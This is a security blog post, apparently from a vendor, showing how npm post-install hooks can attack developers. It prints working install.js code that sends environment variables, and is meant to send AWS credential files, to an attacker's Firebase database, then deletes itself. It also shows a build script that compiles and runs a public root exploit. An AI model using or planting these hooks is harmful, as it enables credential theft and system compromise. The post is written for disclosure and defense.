Package and dependency managers like npm allow command execution as part of the build process. Command execution provides an easy and convenient mechanism for developers to script tasks during the build. For instance, npm allows developers to use pre-install and post-install hooks to execute tasks. A pre-install hook can be used to compile some dependent native library before starting the build. A post-install hook can be used for clean up after the build.
In this blog post, we demonstrate how an attacker can use npm to exfiltrate information from the developer’s machine. Although we show the attack scenarios for npm, similar attacks can also be done on other package managers like gradle.
Attacks
In order to use demonstrate the feasibility of data exfiltration, we describe three different scenarios below. For each of these scenarios, the attacker only needs to get the npm package published and convince some developers to install it using npm install
.
We first create an npm package and use the post-install hook in the package.json
file to specify a task to be executed. The task can be a shell script or another even JavaScript program. For example, if we need to run a shell script build.sh
after npm install
we can do the following:
{
"name": "a-legit-package",
"version": "0.2.0",
"description": "This package runs a script after installation",
"main": "app.js",
"scripts": {
"postinstall": "sh build.sh"
},
...
}
If we want to run a JavaScript task, e.g. in a file say install.js
, we can also add it to the package.json
and run it with Node as follows:
{
"name": "a-legit-package",
"version": "0.2.0",
"description": "This package runs a script after installation",
"main": "app.js",
"scripts": {
"postinstall": "node install.js"
},
...
}
Exfiltrate Environment Variables
Once we have the ability to execute tasks on users behalf during the build, we can use that to exfiltrate sensitive information such as environment variables. For example, for configuring the AWS CLI the following environment variables are set:
$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2
If these environment variables are present when the developer builds a node.js project, they can be uploaded to an attacker controlled location. In order to avoid suspicion, instead of dumping the information to some vague IP address or potentially suspicious domain we can use a popular backend as a service like Firebase. The JavaScript code snippet shown below, when placed in the install.js
file, is run after build. It will copy over all the environment variables to a Firebase database. Before exiting the process, the clean()
method deletes the original install.js
file from the system. This ensures that no trace of the task is left on the developer’s machine after the build.
var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
dbRef.push({status : "leaked env vars", message : process.env}, clean());
function clean(){
try{
fs.unlinkSync("install.js");
}
catch (ex){}
process.exit(0);
}
The attacker can monitor the Firebase database (https://abcde-fg-1234.firebaseio.com/
) and go through the captured environment variables to find ones that contain AWS keys:
Leak Sensitive Files
If AWS keys are not stored in environment variables, it is still possible to leak sensitive information by other means. For example, the AWS configuration guide suggests the use of a ~/.aws/credentials
file for managing multiple named profiles. These named profiles can store multiple AWS access keys.
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[user2]
aws_access_key_id=AKIAI44QH8DHBEXAMPLE
aws_secret_access_key=je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
Since the build post-install task runs with the privilege of the user, it is possible to copy the contents of this file to an attacker controlled location. We can modify install.js
to following to capture the information in the credentials file:
var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
var filepath = process.env.HOME+'/.aws/credentials';
var data = fs.readFileSync(filepath,'utf8');
dbRef.push({status : "leaked sensitive files", message : process.env}, clean());
function clean(){
try{
fs.unlinkSync("install.js");
}
catch (ex){}
process.exit(0);
}
If the ~/.aws/credentials
file is present on the developer’s machine, it is likely that it may contain multiple AWS keys. This attack can potentially leak much more sensitive information than just from environment variables.
Local Privilege Escalation
An npm package can also execute privilege escalation exploits for the underlying system. A recent vulnerability for ubuntu (CVE-2015-1328) allows local attackers to obtain root using overlayfs mounts inside of user namespaces. This vulnerability has an easily available public exploit. The exploit (ofs.c
) opens a shell with admin privileges on the target machine. This shell can then be used to install a permanent backdoor in the system.
The post-install hook in npm makes it almost trivial to build and run this exploit. We create a build.sh
file with the following content and run it as the post-install task.
OS=`uname -s`
if [ "$OS" = "Linux" ]
then
gcc ofs.c
./a.out
else
...
fi
Impact
Almost all popular build and package managers (gradle, maven, npm, etc.) allow system command execution and are thus potentially exposed to the attacks described in this section. In the case of npm, there was a recent attack where an attacker successfully uploaded a malicious package that deleted the developer’s home directory when it was added as a dependency in a node.js project. Even though concerns about security of npm modules were shared in the past, there doesn’t seem to be an easy way to prevent such attacks.
A direct attack that deletes files from a user’s home directory is easy to detect and notice. However, if the malicious behavior is more insidious, such as the attacks described here that involve silently stealing information or installing backdoors, it may be harder to detect and trace. It is surprisingly easy to publish a package on npm, and it only requires a email verification. With the rising number of developers combined with widespread casual package installation, the security risk that this entails is only going to increase.
Mitigation
Our mission at SourceClear is to help you build software safely. Scanning your projects with every CI build is a crucial step. You can also inspect your CI environment with Build Inspector, an open-source forensic sandbox for Continuous Integration environments. Used together you'll have a complete picture of all the open source software you use, get notified of vulnerabilities immediately, and ensure you're CI servers aren't being leveraged in malicious behavior. Move fast, stay safe.